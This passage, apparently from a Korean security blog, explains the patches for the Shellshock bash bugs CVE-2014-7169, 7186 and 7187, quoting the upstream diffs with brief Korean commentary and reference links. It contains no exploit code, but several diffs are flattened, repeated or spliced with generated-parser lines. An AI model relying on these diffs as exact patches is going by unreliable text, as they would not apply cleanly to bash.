+   if (shell_input_line_index < 0 || shell_input_line_index >= shell_input_line_len)
+     return '\0';	/* XXX */
+   return (shell_input_line + shell_input_line_index);
+ }
+ 


함수 정의 부분에서 nested function name 이 있을 경우 이를 예외처리 하도록 합니다.


* CVE-2014-7169-Patch

Bug-Description:

Under certain circumstances, bash can incorrectly save a lookahead character and
return it on a subsequent call, even when reading a new line.

Patch (apply with `patch -p0'):

*** ../bash-4.3.25/parse.y	2014-07-30 10:14:31.000000000 -0400
--- parse.y	2014-09-25 20:20:21.000000000 -0400
***************
*** 2954,2957 ****
--- 2954,2959 ----
    word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
    current_token = '\n';		/* XXX */
    last_read_token = '\n';
*** ../bash-4.3.25/y.tab.c	2014-07-30 10:14:32.000000000 -0400
--- y.tab.c	2014-09-25 20:21:48.000000000 -0400
***************
*** 5266,5269 ****
--- 5266,5271 ----
    word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
    current_token = '\n';		/* XXX */
    last_read_token = '\n';


newline을 뜻하는 '\n' 문자에 대해 예외처리 하도록 합니다.


* CVE-2014-7186-Patch

Bug-Description:

There are two local buffer overflows in parse.y that can cause the shell
to dump core when given many here-documents attached to a single command
or many nested loops.

Patch (apply with `patch -p0'):

*** ../bash-4.3-patched/parse.y 2014-09-25 23:02:35.000000000 -0400 --- parse.y 2014-09-29 16:47:03.000000000 -0400 *************** *** 169,172 **** --- 169,175 ---- static int reserved_word_acceptable __P((int)); static int yylex __P((void)); + + static void push_heredoc __P((REDIRECT *)); + static char *mk_alexpansion __P((char *)); static int alias_expand_token __P((char *)); static int time_command_acceptable __P((void)); *************** *** 266,270 **** /* Variables to manage the task of reading here documents, because we need to defer the reading until after a complete command has been collected. */ ! static REDIRECT *redir_stack[10]; int need_here_doc; --- 269,275 ---- /* Variables to manage the task of reading here documents, because we need to defer the reading until after a complete command has been collected. */ ! #define HEREDOC_MAX 16 ! ! static REDIRECT *redir_stack[HEREDOC_MAX]; int need_here_doc;

+ + static void push_heredoc __P((REDIRECT *)); + static char *mk_alexpansion __P((char *));

+ static void

+ push_heredoc (r)
+      REDIRECT *r;
+ {
+   if (need_here_doc >= HEREDOC_MAX)
+     {
+       last_command_exit_value = EX_BADUSAGE;
+       need_here_doc = 0;
+       report_syntax_error (_("maximum here-document count exceeded"));
+       reset_parser ();
+       exit_shell (last_command_exit_value);
+     }
+   redir_stack[need_here_doc++] = r;
+ }
+ 


다중으로 문서가 중첩되어 호출될 경우 발생하는 메모리 접근 오류가 일어나지 않도록 예외처리를 합니다.


* CVE-2014-7187-Patch

Bug-Description:

There are two local buffer overflows in parse.y that can cause the shell
to dump core when given many here-documents attached to a single command
or many nested loops.
*** ../bash-4.3-patched/parse.y	2014-09-25 23:02:35.000000000 -0400
--- parse.y	2014-09-29 16:47:03.000000000 -0400
***************
*** 169,172 ****
--- 169,175 ----
  static int reserved_word_acceptable __P((int));
  static int yylex __P((void));
+ 
+ static void push_heredoc __P((REDIRECT *));
+ static char *mk_alexpansion __P((char *));
  static int alias_expand_token __P((char *));
  static int time_command_acceptable __P((void));
***************
*** 266,270 ****
  /* Variables to manage the task of reading here documents, because we need to
     defer the reading until after a complete command has been collected. */
! static REDIRECT *redir_stack[10];
  int need_here_doc;
  
--- 269,275 ----
  /* Variables to manage the task of reading here documents, because we need to
     defer the reading until after a complete command has been collected. */
! #define HEREDOC_MAX 16
! 
! static REDIRECT *redir_stack[HEREDOC_MAX];
  int need_here_doc;
  
***************
*** 308,312 ****
     index is decremented after a case, select, or for command is parsed. */
  #define MAX_CASE_NEST	128
! static int word_lineno[MAX_CASE_NEST];
  static int word_top = -1;
  
--- 313,317 ----
     index is decremented after a case, select, or for command is parsed. */
  #define MAX_CASE_NEST	128
! static int word_lineno[MAX_CASE_NEST+1];
  static int word_top = -1;
  
! #line 785 "/usr/src/local/chet/src/bash/bash-4.3.28/parse.y"
      {
  			  (yyval.command) = make_for_command ((yyvsp[(2) - (6)].word), add_string_to_list ("\"$@\"", (WORD_LIST *)NULL), (yyvsp[(5) - (6)].command), word_lineno[word_top]);
***************
*** 2707,2711 ****



스크립트 파서 수행 중 별도의 스크립트 실행 구문을 만들어 내는 과정에서 해당 내용이 담긴 변수에 대해 적절한 경계 값을 검사하도록 하여 예외처리를 합니다. 


* References

http://en.wikipedia.org/wiki/Shellshock_(software_bug)

http://www.dwheeler.com/essays/shellshock.html

http://support.novell.com/security/cve/CVE-2014-7187.html

http://ftp.gnu.org/gnu/bash/bash-4.3-patches/

http://teamcrak.tistory.com/379

http://lcamtuf.blogspot.kr/2014/10/bash-bug-how-we-finally-cracked.html

http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=shellshock

http://shellshock.brandonpotter.com/